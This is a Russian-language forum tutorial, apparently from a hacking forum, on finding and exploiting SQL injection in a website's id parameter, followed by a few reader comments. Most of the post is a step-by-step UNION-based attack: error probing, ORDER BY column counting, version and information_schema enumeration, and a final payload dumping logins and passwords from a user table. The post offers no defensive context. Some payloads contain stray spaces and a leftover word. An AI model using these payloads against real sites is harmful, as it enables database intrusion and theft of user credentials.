Как найти и раскрутить sql-инъекцию на сайте

Привет всем.

В этой статье я постараюсь максимально понятным образом показать вам, как найти и раскрутить sql-иньекцию на сайте. :)

Нужно найти подобную ссылку на сайте. Пример:

Код:

localhost/index.php?id=1
Теперь нам нужно проверить ссылку на доступ к БД.
localhost/index.php?id=1' (поставить такой знак ' или " )

Должно выйти сообщение об ошибки.

Пример:

Код:

SQL: SELECT * FROM news WHERE ID=3'
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Теперь нам нужно узнать количество строк.

Код:

localhost/index.php?id=1+order+by+10 --
Ошибка!

Код:

SQL: SELECT * FROM news WHERE ID=3 order by 10 --
MySQL Error: Unknown column '10' in 'order clause'

Значить строк меньше.

Код:

localhost/index.php?id=1+order+by+5 --
Нет ошибки , но строк может быть 6.
localhost/index.php?id=1+order+by+6 --
Нет ошибки. :)
localhost/index.php?id=1+order+by+7 --
Ошибка! Значить строк 6.

Теперь вставляем строки.

Код:

localhost/index.php?id=-1+union+select+1,2,3,4,5,6 -- (поставим перед id - , чтобы нам не мешалось лишнее)

Опа! Появились цифры! Можно использовать любую которую ты видишь, я буду использовать 4.
Вводим вместо цифры 4 version() и видим:

Код:

user : u181477@10.10.153.188 database : u181477 version : 5.0.67-log

В 5-й версии есть infromation_schema.tables (Таблица содержащая названия всех таблиц, в частности с юзерами, и колонка у нее table_name.
Юзаеццо она так

Код:

localhost/index.php?id=-1+union+select+1,2,3,table_name,5,6+from(из)+infor mation_schema.tables

Многие юзают команду limit, но я вам советую использовать другую команду.
Есть такая команда как SEPARATOR, который задаёт разделитель при выводе записей (по умолчанию – запятая), она есть только в

Код:

group_concat("колонка"+Separator+"разделитель") и нам выведет все содержимое.
localhost/index.php?id=-1+union+select+1,2,3,group_concat(column_name+SEPA RATOR+0x3a)+from+information_schema.columns+where+ table_name='user'

Вот тут может быть ошибка, так как есть ' надо user или любую другую таблицу перевести в hex. Сделать то можно Тут (Войти или зарегистрироваться, чтобы увидеть ссылку.)
Вам покажут пару чисел, удаляете пробелы и вначале ставьте 0x и все получится.

Код:

localhost/index.php?id=-1+union+select+1,2,3,group_concat(column_name+SEPA RATOR+0x3a)+from+information_schema.columns+where+ table_name=0x...
Затем все просто, надо колонки поставить в выводимое поля и сделать запрос на вывод из таблицы наших юзеров.
localhost/index.php?id=-1+union+select+1,2,3,group_concat(0x3a,login,pass+ SEPARATOR+0x3a)+from+user --

Удачи. :)


Автор: hack001

 

Спасибо.Хорошая статья.Побольше б таких.

 

Ещё б подсказали для чего служат параметры был бы благодарен.
order-
by+10-
union-
select-

 

Спасибо, но для этого есть же программы специальные) Это автоматизирует процесс, и значительно экономит время.
Спасибо за статью)